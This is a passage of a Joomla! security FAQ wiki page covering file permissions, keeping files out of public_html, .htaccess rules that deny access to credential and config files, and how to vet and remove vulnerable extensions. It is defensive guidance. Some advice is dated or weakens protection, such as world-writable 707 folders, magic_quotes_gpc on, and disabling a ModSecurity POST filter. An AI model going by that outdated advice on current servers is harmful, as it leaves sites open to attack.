The Web Server will still need to Execute set for the username and Read, Execute groupname permissions set so that it can Execute the Read command on files inside the directory. Again, these permissions may be demoted back to 755 after the Web Installer completes. Thats the basics for directories covered, what about files? This is where things get a little simpler. Most of the files that Joomla! makes use of will be quite happy with the 644 default permissions.&lt;br /&gt;
&lt;br /&gt;
 644 = rw- r-- r-- &lt;br /&gt;
 Owner has Read, Write&lt;br /&gt;
 Group has Read&lt;br /&gt;
 Other has Read&lt;br /&gt;
&lt;br /&gt;
This is valid if you do not have a need to Write to the files from the Web Server, the same rules apply as for directories if you do have this need. One file that you may like to have &amp;quot;Writable&amp;quot; to the Web Server is your configuration.php file. This is the Joomla! configuration file, if you plan on changing configuration through the Web Admin interface, then this file will need to be Writable to the Web Server.&lt;br /&gt;
&lt;br /&gt;
If your server needed directory permissions to be set to &amp;quot;Other&amp;quot; Writable for the install then this file will probably also need to be 757 or 777. Leaving this file as 757 or 777 is dangerous though, as you are letting everyone have &amp;quot;Write&amp;quot; access, many Web Site exploits take advantage of this fact, so in general it is not recommended to leave this file with these permissions.&lt;br /&gt;
&lt;br /&gt;
If your Web Server has one of the SU tools installed and you only needed to configure 755 on directories for the installation, then you will probably also only need to set 755 or 775 on this file to allow editing through the Admin interface, and these permissions are generally accepted as more secure than 757 or 777.&lt;br /&gt;
&lt;br /&gt;
In conclusion, what permissions should be set for the Joomla! installation? Well, as you can see, it depends!&lt;br /&gt;
&lt;br /&gt;
I know this isn&#039;t as helpful as you would have liked and it certainly is not a definitive answer, but in general, after the installation, any insecure &amp;quot;7&amp;quot; settings can be reset back to something more secure. For example: &lt;br /&gt;
 Files = 644&lt;br /&gt;
 Directories = 755&lt;br /&gt;
&lt;br /&gt;
These permissions would allow, for files;&lt;br /&gt;
&lt;br /&gt;
 644 = rw- r-- r--&lt;br /&gt;
 Owner has Read and Write&lt;br /&gt;
 Group has Read only&lt;br /&gt;
 Other has Read only&lt;br /&gt;
&lt;br /&gt;
and for directories,&lt;br /&gt;
&lt;br /&gt;
 755 = rwx r-x r-x &lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read and Execute only&lt;br /&gt;
 Other has Read and Execute only&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
If you have SSH shell access the following commands can be run from the command line to reset all files and directories back to the server defaults of 755 and 644. Change directories to the top directory (&amp;quot; / &amp;quot;) of your Joomla! installation, then run: &lt;br /&gt;
&lt;br /&gt;
 find . -type f -exec chmod 644 {} \;&lt;br /&gt;
 find . -type d -exec chmod 755 {} \;&lt;br /&gt;
&lt;br /&gt;
If you only have FTP access, this can be a very time consuming job, however, unless you changed more directories during the installation that was requested, you should only need to reset about 10 directories and the &#039;&#039;configuration.php&#039;&#039; file.&lt;br /&gt;
&lt;br /&gt;
Keep in mind that to install any extensions or templates after the actual Joomla! installation you may need to elevate the default permissions again on the appropriate directories just for the installation period, you may then demote them again after the add-on is installed.&lt;br /&gt;
&lt;br /&gt;
If you decide to use &#039;&#039;caching&#039;&#039; the cache directory will need to be &#039;&#039;writable&#039;&#039; by the Web server user to allow it to write its temporary files.&lt;br /&gt;
&lt;br /&gt;
==What are the recommended file and directory permissions?==&lt;br /&gt;
&lt;br /&gt;
Depending on the security configuration of your Web server the recommended default permissions of 755 for directories and 644 for files should be reasonably secure.&lt;br /&gt;
&lt;br /&gt;
==How can I avoid using chmod 0777 to enable installs?==&lt;br /&gt;
&lt;br /&gt;
On a private server with a small, controlled set of users, there is no need to use a chmod 777 to make the Joomla! folders writable in order to perform installs. You can set the server up so that both Apache and FTP have control of site files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Edit the Apache user.conf file and tell apache to run under the FTP account.&lt;br /&gt;
# chmod the entire site to 644 or 744. Apache should be able to run just fine that way.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Optional&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# chgrp the entire web space to the FTP group so that only those with FTP access can write to the server.&lt;br /&gt;
# chmod the entire web space to 764 or 664 will be possible giving other users write access as well&lt;br /&gt;
&lt;br /&gt;
==Isn&#039;t locating all Joomla! files inside public_html a security risk?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Short answer&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Potentially, yes. Your site can be secure, but you must be careful and vigilant.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Long answer&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
A common security principle is to create various security levels and then grant access at each level only as required. On UNIX servers this is done by setting the user, group, and world permissions on directories and files.&lt;br /&gt;
&lt;br /&gt;
Typically, the most insecure directory on a UNIX server is the one serving Web files, usually called public_html. This is because it is publicly accessible, world-readable, and in the case of a CMS-powered site, possibly even world-writable. That status is the very definition of officially, totally, and utterly insecure.&lt;br /&gt;
&lt;br /&gt;
As long as you want the entire world to view your public_html directory there is no problem. After all, that&#039;s exactly what it&#039;s designed to do. But if you want to hide anything, the plot thickens. If public_html contains configuration files with secret data, or scripts that write to databases, or scripts that modify other files, or scripts that append to logs, or scripts that store temporary data in caches, or scripts that support file and graphic uploads, or scripts that process form input, or scripts that process financial and personal data, this read-only directory becomes a world-accessible, read-write application.&lt;br /&gt;
&lt;br /&gt;
If there are ANY vulnerabilities in ANY files in the public_html directory, the entire server is potentially vulnerable, and not just your Web site but possibly every Web site on your server. Such vulnerabilities give attackers access to the scripting engines used to run your site. PHP, Perl and other Web scripting languages are powerful and easy to use. If programming vulnerabilities allow an attacker to call arbitrary commands, your entire server could be toast.&lt;br /&gt;
&lt;br /&gt;
One good way to block attackers, is to keep potential vulnerabilities behind a secure fence. For this reason, it is often recommended to only place files that require direct access from the Web in public_html. Other files should be loaded into applications using such functions as include and require. To access such files, attackers must first penetrate your server, such as by discovering a root username/password.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;The incredible lightness of living outside the fence&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
To provide incredibly easy installation, Joomla! follows a different security model. It is possible to perform a complete Joomla! installation using nothing more than a Web browser pointed at the world-readable installation directory. An additional level of security is provided by requiring that you remove this installation directory after completing the install.&lt;br /&gt;
&lt;br /&gt;
Granting a world-accessible installer the ability to write to files outside of public_html would be a huge security hole. Thus, by default every Joomla! file ends up in the world-accessible public_html directory. Not coincidentally, this is also the directory in which an angry planetful of would-be attackers are hoping to find your files.&lt;br /&gt;
&lt;br /&gt;
Currently, most Joomla extensions also have limited support for file locations outside of public_html. This is a legacy of the Joomla! 1.0.x installation model.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Joomla! defense&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Despite it&#039;s apparently vulnerable location, Joomla! uses various effective methods for blocking exploits. Chief among them is to add a line of code at the top of any PHP file that requires extra protection. This method is very effective as long as each and every file requiring such protection, has it. One vulnerable file exposes the whole site.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;The challenge&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The practice of placing everything in public_html, and then building a little fence inside each file can become an administrative nightmare. One vulnerable file exposes the entire server. This is a glaring example of an allow, then deny security model.&lt;br /&gt;
&lt;br /&gt;
This model requires very careful upgrades, constant log reviews, and proactive plugging of new vulnerabilities as soon as they become known. (Since you have to beat the attackers, you&#039;ll be in a hurry, and may inadvertently do something stupid, potentially creating other vulnerabilities.)&lt;br /&gt;
&lt;br /&gt;
During installations and upgrades, you must verify (or trust someone else to verify) every line of code, of every new file, for every known vulnerability. And because scripts can have unintended consequences on each other, you cannot forget to test, test, test. Of course this is generally true for all software, but placing the entire application in public_html makes the issue extremely critical.&lt;br /&gt;
&lt;br /&gt;
The recent wave of URL injection attacks against poorly-written third party extensions would have been much less successful if those files had been stored outside of public_html, and thus simply unavailable through URLs. Note that in many cases the actual vulnerabilities could still exist within the files, but being inside the fence (outside of public_html) they would not be exposed to URL injections.&lt;br /&gt;
&lt;br /&gt;
 To (Deny, then Allow), or (Allow, then Deny)?&lt;br /&gt;
&lt;br /&gt;
The real problem with the above &amp;quot;all known&amp;quot; qualifier is that it is an allow, then deny model. In other words, we first give everyone access to every file and then deny access to specific files by adding a line of code.&lt;br /&gt;
&lt;br /&gt;
Consider the logic for a password authentication script. We have essentially two choices:&lt;br /&gt;
# First allow all access, then deny any username/password combination that DOES NOT match the approved list.&lt;br /&gt;
# First deny all access, then allow any username/password combination that DOES match the approved list.&lt;br /&gt;
&lt;br /&gt;
Obviously the second method is better. A passing familiarity with regular expressions shows that the first method is much more difficult to write securely. It fails anew each time a new variation of some attack is developed, and tends to require constant revisions. Over time, such revisions become so complex that the authentication system itself becomes a source of vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
Conceptually, the second method is an example of building a strong fence around your site (deny), and then granting access using a limited and well-defined set of criteria (then allow). If the script fails, the most likely result is that someone who should have access is blocked. That may be highly inconvenient, but it&#039;s not usually a security breach.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;The good news&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# In Joomla! 1.0.x, some extensions, and the Joomla! framework, give you the option of locating critical directories outside of public_html after you have completed the installation. Whenever possible you should do this.&lt;br /&gt;
# Joomla! 1.5 goes far in the right direction. It provides several new constants for specifying the location of particularly sensitive directories, including configuration, administrator, libraries, and installation. &lt;br /&gt;
# Joomla! 1.5 is able to run as an FTP account. This provides another method for protecting files on a file by file and directory by directory basis.&lt;br /&gt;
&lt;br /&gt;
==How do I adjust Joomla 1.5 defines {{JVer|1.5}}==&lt;br /&gt;
&lt;br /&gt;
There are two defines files that will generally need to be edited.  /includes/defines.php file is for the front end and /administrator/includes/defines.php is for the Joomla administrator end. Below is the relevant code.&lt;br /&gt;
&lt;br /&gt;
 define( &#039;JPATH_ROOT&#039; , implode( DS, $parts ) );&lt;br /&gt;
 define( &#039;JPATH_SITE&#039; , JPATH_ROOT );&lt;br /&gt;
 define( &#039;JPATH_CONFIGURATION&#039;, JPATH_ROOT );&lt;br /&gt;
 define( &#039;JPATH_ADMINISTRATOR&#039;, JPATH_ROOT . DS . &#039;administrator&#039; );&lt;br /&gt;
 define( &#039;JPATH_LIBRARIES&#039; , JPATH_ROOT . DS . &#039;libraries&#039; );&lt;br /&gt;
 define( &#039;JPATH_INSTALLATION&#039; , JPATH_ROOT . DS . &#039;installation&#039; );&lt;br /&gt;
&lt;br /&gt;
.DS. = Directory Seperator&lt;br /&gt;
&lt;br /&gt;
==Moving sensitive files outside the web root==&lt;br /&gt;
{{:Moving sensitive files outside the web root}}&lt;br /&gt;
&lt;br /&gt;
==How do I block direct access to critical files using .htaccess?==&lt;br /&gt;
# Make a backup copy of your .htaccess file. Use your backup file to recover if the following fails. Be sure to delete the backup file once you  are finished.&lt;br /&gt;
# Add the following to your .htaccess file. This example will protect both the configurtation.php and .htaccess files.&lt;br /&gt;
&lt;br /&gt;
 &amp;amp;lt;Files .htaccess&amp;gt;&lt;br /&gt;
 order allow,deny&lt;br /&gt;
 deny from all&lt;br /&gt;
 &amp;amp;lt;/Files&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;amp;lt;FilesMatch &amp;quot;configuration.php&amp;quot;&amp;gt;&lt;br /&gt;
 Order allow,deny&lt;br /&gt;
 Deny from all&lt;br /&gt;
 &amp;amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
&lt;br /&gt;
You can also protect a lot of file extensions in one single rule. Exemple (the file names between &#039; &#039;&#039;&#039;(&#039;&#039;&#039; &#039; and &#039; &#039;&#039;&#039;)&#039;&#039;&#039; &#039; in this rule are the file extensions to protect ):&lt;br /&gt;
&lt;br /&gt;
 &amp;amp;lt;FilesMatch &amp;quot;\.(htaccess|htpasswd|ini|phps|log|sh|conf)$&amp;quot;&amp;gt;&lt;br /&gt;
 Order allow,deny&lt;br /&gt;
 Deny from all&lt;br /&gt;
 &amp;amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==How do I recursively adjust file and directory permissions?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Using Joomla! Administration&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
In the Back-end, go to Site --&amp;gt; Global Configuration --&amp;gt; Server.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Using the UNIX shell&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Note:&#039;&#039;&#039; The find command automatically assumes that it should start from the current directory. To be safe, go to your public_html directory and specify a path as the first argument. Some shells, such as bash on Apple OS X, must have a path specified in the find command.&lt;br /&gt;
&lt;br /&gt;
 find . -type f -exec chmod 644 {} \;&lt;br /&gt;
 find . -type d -exec chmod 755 {} \;&lt;br /&gt;
 chmod 707 images&lt;br /&gt;
 chmod 707 images/stories&lt;br /&gt;
 chown apache:apache cache&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Notes:&#039;&#039;&#039;&lt;br /&gt;
# Test all third party extensions after changing permissions.&lt;br /&gt;
# You may need to reset write permissions to install more extensions.&lt;br /&gt;
&lt;br /&gt;
==How can I set the administrator directory to use an SSL server (https)? {{JVer|1.0}}==&lt;br /&gt;
&lt;br /&gt;
Use Joomla version 1.5 or newer&lt;br /&gt;
&lt;br /&gt;
A standard Joomla! 1.0.x installation does not support SSL for individual directories, however there are various (elegant and not so elegant) hacks posted in the forums.&lt;br /&gt;
&lt;br /&gt;
Note that earlier techniques involving the variable $mosConfig_live_site are deprecated, and will not work with current Joomla! versions due to increased security enhancements.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;More Help&#039;&#039;&#039;&lt;br /&gt;
# [http://www.netshinesoftware.com/security/using-an-ssl-certificate-with-your-joomla-website.html Netshine Software, Ltd: Using an SSL Certificate with your Joomla Website]&lt;br /&gt;
&lt;br /&gt;
==Why isn&#039;t restricting access by IP recommended?==&lt;br /&gt;
&lt;br /&gt;
Restricting site access by IP address is not particularly effective longterm as many exploits are enacted from hijacked machines or via proxies, masking the real attacker&#039;s actual IP Address. Attackers can attack from many different compromised machines. Blocking them will block the legitimate owners of that IP, but may not block the attackers.&lt;br /&gt;
&lt;br /&gt;
= Joomla! Extensions =&lt;br /&gt;
&lt;br /&gt;
==Why are there vulnerable extensions?==&lt;br /&gt;
&lt;br /&gt;
A list of currently known [http://docs.joomla.org/Vulnerable_Extensions_List vulnerable extensions]. &lt;br /&gt;
&lt;br /&gt;
: Anyone may write and distribute a Joomla! extension. As a service to the global community, this freedom is actively encouraged and supported by the Joomla! Core team. Due to the openness and popularity of the Joomla! project, there are a wide variety of extensions offering a vast array of features. The quality and breadth of Joomla! extensions is one of the main advantages of Joomla.&lt;br /&gt;
&lt;br /&gt;
: However this freedom comes with a price. It requires individual responsibility, and can survive only where a majority of participants act responsibly. Joomla&#039;s success has led to unwanted attention from malicious types, such as script kiddies who run simple, automated scripts in an effort to find and deface others&#039; Web sites.&lt;br /&gt;
&lt;br /&gt;
: It is important to note that, script kiddies unintentionally perform a valuable service. They help us identify vulnerable extensions and poorly configured servers that might otherwise remain open to more serious threats.&lt;br /&gt;
&lt;br /&gt;
==What is a vulnerable extension?==&lt;br /&gt;
&lt;br /&gt;
A vulnerable extension is one that has been found to contain (or contribute to) a security vulnerability.&lt;br /&gt;
&lt;br /&gt;
Vulnerable extensions are not necessarily poorly-coded. As the Web evolves, technical requirements and commonly accepted coding practices change. Active projects release new versions of their extensions as requirements change. For this reason, it is important to:&lt;br /&gt;
&lt;br /&gt;
# Know the version numbers of all installed extensions.&lt;br /&gt;
# Use only the latest stable version of all extensions.&lt;br /&gt;
# Completely remove all files of insecure or unused extensions.&lt;br /&gt;
&lt;br /&gt;
==How do I choose secure extensions?==&lt;br /&gt;
&lt;br /&gt;
: The most important thing anyone can do is make good decisions regarding the extensions they choose to use on a site. Once an insecure or malicious extension is installed you should consider your entire site compromised. There is NO POSSIBLE WAY to protect or stop a component from accessing database tables it should not be accessing. There is no possible way to stop a component from sending all of the information it found back to a cracker website. Once an insecure or malicious component is installed, your entire site is insecure.&lt;br /&gt;
&lt;br /&gt;
: With all of that said, here are some pretty easy tips for making good choices regarding the extensions you install:&lt;br /&gt;
&lt;br /&gt;
1. When was the last version released?&lt;br /&gt;
&lt;br /&gt;
: If it has been over a year, consider the project abandoned and find something else. Do not install old components.&lt;br /&gt;
&lt;br /&gt;
2. What kind of release is it? (Stable, Release Candidate (RC), Beta, Alpha)&lt;br /&gt;
&lt;br /&gt;
: For production sites you should be sticking to Stable releases as much as possible. If you cannot wait until a Stable release has been made available, Release Candidates are the only other option you should consider. I would not suggest anyone install any Beta or Alpha extensions on a production site. This means they still have bugs, they have not been tested enough, and could have any number of inconvenient bugs or security issues that have not been fixed or worse, found.&lt;br /&gt;
&lt;br /&gt;
3. Does the extension have a history of good security practices?&lt;br /&gt;
&lt;br /&gt;
: This is obviously a bit more subjective but it is still a very valid gauge of future trustworthiness. It requires a bit of investigation and research. Look around their download pages and archives, are there many security release or patches? Are there a lot of reports of cracking activity through this extension? Are the developers experienced and security conscious? What do other community members think of this extension? One example that comes to mind that has little to do with Joomla itself (which makes it a fair example) is phpBB. This script has had more security issues than I could get my head around and there routinely seems to be newly disclosed issues. Because of this, I would never use phpBB. In my opinion its is not trustworthy and there is a high probability that there will be more major security issues.&lt;br /&gt;
&lt;br /&gt;
4. Is there a support community for this extension?&lt;br /&gt;
&lt;br /&gt;
: This is very important for usability and security awareness. If there is a support community for an extension there is a better chance of security issues being known and dealt with. A support community means that people would like to continue using the extension and that they care about the extension. This furthers the chance that security issues will be found, disclosed, and dealt with promptly.&lt;br /&gt;
&lt;br /&gt;
5. Is there only a Mambo version of this extension?&lt;br /&gt;
&lt;br /&gt;
: While this does not in itself make an extension insecure but is rather a gauge of support, how recently the last realease was, and future support. There is a pretty narrow chance that Mambo components will be supported in 1.5 so save yourself the trouble and find a component made to work with Joomla. It will make your life easier.&lt;br /&gt;
&lt;br /&gt;
6. Is the extension generally bug free?&lt;br /&gt;
&lt;br /&gt;
: I hinted on this a little bit in number three but I think it is worth discussing in more depth. While it is almost impossible for an extension to be completely bug free, the smaller the number of bugs, the better. If there are bugs in the software it means there are mistakes in the software. The more mistakes, the higher risk of usability issues and security issues. Security issues are often a result of not one bug, but several bugs or bad practices. For example, the recent 3rd party vulnerabilities that allow for remote file inclusion are a result of:&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Bad Practices:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Having PHP&#039;s Register Globals enabled.&lt;br /&gt;
# Using out of date or abandoned extension.&lt;br /&gt;
# No other security checks enabled for PHP. (url_fopen off, open_basedir restrictions, disabled PHP functions)&lt;br /&gt;
# Poorly configured file permissions.&lt;br /&gt;
# No request filtering or software &amp;quot;firewall&amp;quot;. (such as mod_rewrite rules or mod_security Apache modules)&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Bugs:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Not including defined(&#039;_VALID_MOS&#039;) or die... statements&lt;br /&gt;
# Poorly constructed include() statements.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Although the Joomla! core is secure when configured correctly, third party extensions come in all flavors of age and quality. Unless you absolutely trust the extension developer, always review the code should before installing. The following is a list of typical areas of concern.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. How complex is the extension? &lt;br /&gt;
&lt;br /&gt;
: The larger it is, the more likely it is to have problems, and the more carefully you should review it. If you can&#039;t tell what it&#039;s doing, you should not trust it.&lt;br /&gt;
&lt;br /&gt;
2. Does the extension read or write files to your server? &lt;br /&gt;
&lt;br /&gt;
: Programs that read files may inadvertently violate access restrictions you&#039;ve set up, or pass sensitive system information to crackers. Programs that write files have the potential to modify or damage existing files, or introduce trojan horses.&lt;br /&gt;
&lt;br /&gt;
3. Does the extension interact with other programs on your system? &lt;br /&gt;
&lt;br /&gt;
: For example, many extensions send e-mail in response to a form input by opening a connection with the sendmail program. Is it doing this in a safe way?&lt;br /&gt;
&lt;br /&gt;
4. Does the extension run with suid (set-user-id) privileges? &lt;br /&gt;
&lt;br /&gt;
: In general this is very dangerous; extensions need an excellent reasons for doing this.&lt;br /&gt;
&lt;br /&gt;
5. Does the extension validate all user input, such as in form fields and in the URL?&lt;br /&gt;
&lt;br /&gt;
6. Does the extension use explicit path names when invoking external programs? &lt;br /&gt;
&lt;br /&gt;
: Relying on the PATH environment variable to resolve partial path names is a dangerous practice.&lt;br /&gt;
&lt;br /&gt;
7. Is the extension secure against direct access throught the URL? &lt;br /&gt;
&lt;br /&gt;
: For example: www.yoursite.com/components/com_bad_extension.php?lots_of_bad_code_here&lt;br /&gt;
&lt;br /&gt;
8. Is the extension secure against remote file inclusions?&lt;br /&gt;
&lt;br /&gt;
9. Is the extension secure against SQL injections?&lt;br /&gt;
&lt;br /&gt;
10. Is the extension secure against Cross Site Scripting (XSS)?&lt;br /&gt;
&lt;br /&gt;
11. Does the extension need PHP register_globals ON, or Joomla! RG Emulation ON? &lt;br /&gt;
&lt;br /&gt;
: If so, then it is probably violating number 7 above.&lt;br /&gt;
&lt;br /&gt;
12. Does the extension provide higher database access to less privileged users? &lt;br /&gt;
&lt;br /&gt;
: For example does it allow guests or registered users to view data that only publishers or administrators should be able to see?&lt;br /&gt;
&lt;br /&gt;
==Why does the Extensions site include insecure extensions?==&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The Joomla! Extensions site exists as a free service to the community. Anyone can post extensions there and extensions exist at all levels of quality and maturity.&lt;br /&gt;
&lt;br /&gt;
If an extension is found to contain vulnerabilities, it will be removed from the site until a safer version is released, but there is no guarantee that the vulnerabilities of every extension have been discovered or reported.&lt;br /&gt;
&lt;br /&gt;
To be safe, you must verify the security of every extension you install.&lt;br /&gt;
&lt;br /&gt;
Below is the text of the Joomla! Extensions site disclaimer. Ignore it at your peril. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Disclaimer&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: The extensions and reviews listed in this area have been submitted by the community and their listing does not constitute or imply endorsement, recommendation, or favouring by Joomla!/OSM.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
: This content is provided as a free service to our visitors, and, as such, Joomla!/OSM cannot be held liable for the accuracy of the information. Visitors wishing to verify that the information is correct should contact the parties responsible for authoring the content and/or development of the extension.&lt;br /&gt;
&lt;br /&gt;
==Why is there a warning in the extensions install screen?==&lt;br /&gt;
&lt;br /&gt;
It&#039;s just a warning! You are of course free to install any extension you want onto your own site, but remember that &#039;&#039;&#039;YOU&#039;&#039;&#039; are responsible for the safety of your site and the quality of the applications you install.&lt;br /&gt;
&lt;br /&gt;
The vast majority of reported Joomla! vulnerabilities are through poorly-written or obsolete versions of third party extensions that should not have been left on the server. Therefore, before installing anything carefully evaluate the quality of the extension&#039;s code.&lt;br /&gt;
&lt;br /&gt;
The [[Vulnerable Extensions List]] is a valuable source of information on what &#039;&#039;&#039;NOT&#039;&#039;&#039; to install.&lt;br /&gt;
&lt;br /&gt;
==Why isn&#039;t un-publishing a vulnerable extension enough to protect my site?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Simply removing the menu links to an extension, or unpublishing a module is NOT enough to protect your site! As long as the extension&#039;s files exist on your server, you are vulnerable. Note how in the following examples an attacker can bypass the Joomla! index file to directly target any file, of any extension.&lt;br /&gt;
&lt;br /&gt;
 www.your_site.org/components/com_bad_component/vulnerable_file.php&lt;br /&gt;
 www.your_site.org/modules/mod_bad_module/vulnerable_file.php&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions for removing a vulnerable extension&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Make a list of files to remove&lt;br /&gt;
&lt;br /&gt;
: If you can locate it, read the extension&#039;s xml file to determine exactly which directories, files, and database tables were added to your system. The xml file is in the original zip archive used during the extension install process. For example, the zip archive for an extension called mod_vulnerable, would contain an xml file called, mod_vulnerable.xml, and might contain a list of files such as the following:&lt;br /&gt;
&lt;br /&gt;
 mod_vulnerable.php&lt;br /&gt;
 mod_vulnerable/vulnerable_file.txt&lt;br /&gt;
 mod_vulnerable/another_vulnerable_file.txt&lt;br /&gt;
 mod_vulnerable/yet_another_vulnerable_file.txt&lt;br /&gt;
 mod_vulnerable/index.html&lt;br /&gt;
&lt;br /&gt;
2. Uninstall via the Joomla Installer:&lt;br /&gt;
&lt;br /&gt;
: Using the Installer in the Joomla! Administrator backend, uninstall the vulnerable extension. You may also need to uninstall related modules, components, or plugins.&lt;br /&gt;
&lt;br /&gt;
3. Check that the uninstall process was complete:&lt;br /&gt;
&lt;br /&gt;
: Don&#039;t trust the extension to safely remove all of it&#039;s files. Compare directories and files on your system to the extension&#039;s xml list to ensure that all related files were actually removed.&lt;br /&gt;
&lt;br /&gt;
4. Optionally, remove related database tables:&lt;br /&gt;
&lt;br /&gt;
: Check your database and remove any tables created by the extension. To ease the upgrade process to new versions, many uninstall scripts do not remove related database tables. You can find the list of tables in each extension&#039;s xml file. (If you plan on installing a safer, compatible version of the same extension and you want to reuse existing data, you can usually leave the database tables as they are.)&lt;br /&gt;
&lt;br /&gt;
= Apache =&lt;br /&gt;
&#039;&#039;&#039;Covers information on Apache Web server, Apache modules, .htaccess files, etc.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==What is Apache modSecurity?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
ModSecurity is an Apache module that functions as an embeddable web application firewall. It provides protection from a range of attacks against web applications and allows for HTTP traffic monitoring and real-time analysis with no changes to existing infrastructure. It is also an open source project that aims to make web application firewall technology available to everyone.&lt;br /&gt;
&lt;br /&gt;
When configuring ModSecurity, it is important to know that it is not only the Joomla! application that may require unique rules, but also the data that the application processes.&lt;br /&gt;
&lt;br /&gt;
Quality hosting providers customize mod_security rules to suit each customer. &lt;br /&gt;
&lt;br /&gt;
If you have a conflict between Joomla and ModSecurity, it is often third party components, and sometimes even contact form submissions that trigger the problem. Joomla out of the box &#039;&#039;usually&#039;&#039; works with typical ModSecurity settings, but this is dependent on each hosting provider&#039;s unique configuration. &lt;br /&gt;
&lt;br /&gt;
Overall, mod_security is a excellent tool, but this is really something your host should manage.&lt;br /&gt;
&lt;br /&gt;
One specific error is the failure of file uploads, this is often caused by SecFilterScanPOST being enabled. If you get an internal server error while using the flash upload in the Media Manager this is a good place to start. You can disable this setting by adding &#039;&#039;&#039;SecFilterScanPOST Off&#039;&#039;&#039; to your .htaccess file.&lt;br /&gt;
&lt;br /&gt;
ModSecurity configurations are far too varied and complex to describe here. To learn more, see the following resources:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Resources&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# [http://www.modsecurity.org/ Official ModSecurity Site]&lt;br /&gt;
# [http://www.modsecurity.org/projects/modsecurity/apache/index.html ModSecurity and Apache]&lt;br /&gt;
&lt;br /&gt;
== How do I block directory scans using  .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Add one of the following Apache rewrite rules to your .htaccess file. The first example will internally rewrite all attempts to access files with names starting with &amp;quot;phpMyAdmin&amp;quot; to index.php. Be wary of using this as it allows a seemingly valid duplicate URL for your homepage. The second rule is more safe. It simply returns a 403 response.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&#039;&#039;&#039;Sample Apache Rewrite Rule&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
 RewriteRule ^phpMyAdmin /index.php [L]&lt;br /&gt;
 RewriteRule ^phpMyAdmin - [F]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Some Regular Expression Tips&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
 ^ Means start of pattern&lt;br /&gt;
 . Means any character other than newlines&lt;br /&gt;
 + Means one or more of the previous character&lt;br /&gt;
 * Means zero or more of the previous character&lt;br /&gt;
 $ Means end of pattern&lt;br /&gt;
 \.  Literal periods must be escaped with a leading \&lt;br /&gt;
&lt;br /&gt;
==How can I change PHP settings using .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
This FAQ explains how to set boolean PHP configuration directives using php_flag. The format for php_flag is: php_flag name on|off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Open the .htaccess file located in your site&#039;s home directory, or if you don&#039;t have one, create a blank one now. Note the period character (.) at the beginning of the file name.&lt;br /&gt;
&lt;br /&gt;
2. Add any of the following code samples to your .htaccess file, each on it&#039;s own line. These sample commands will prevent common global variable injection attacks, cross site scripting (XSS) sttacks, and code injection attacks.&lt;br /&gt;
&lt;br /&gt;
 php_flag register_globals off&lt;br /&gt;
&lt;br /&gt;
 php_flag allow_url_fopen off&lt;br /&gt;
&lt;br /&gt;
 php_flag magic_quotes_gpc on&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
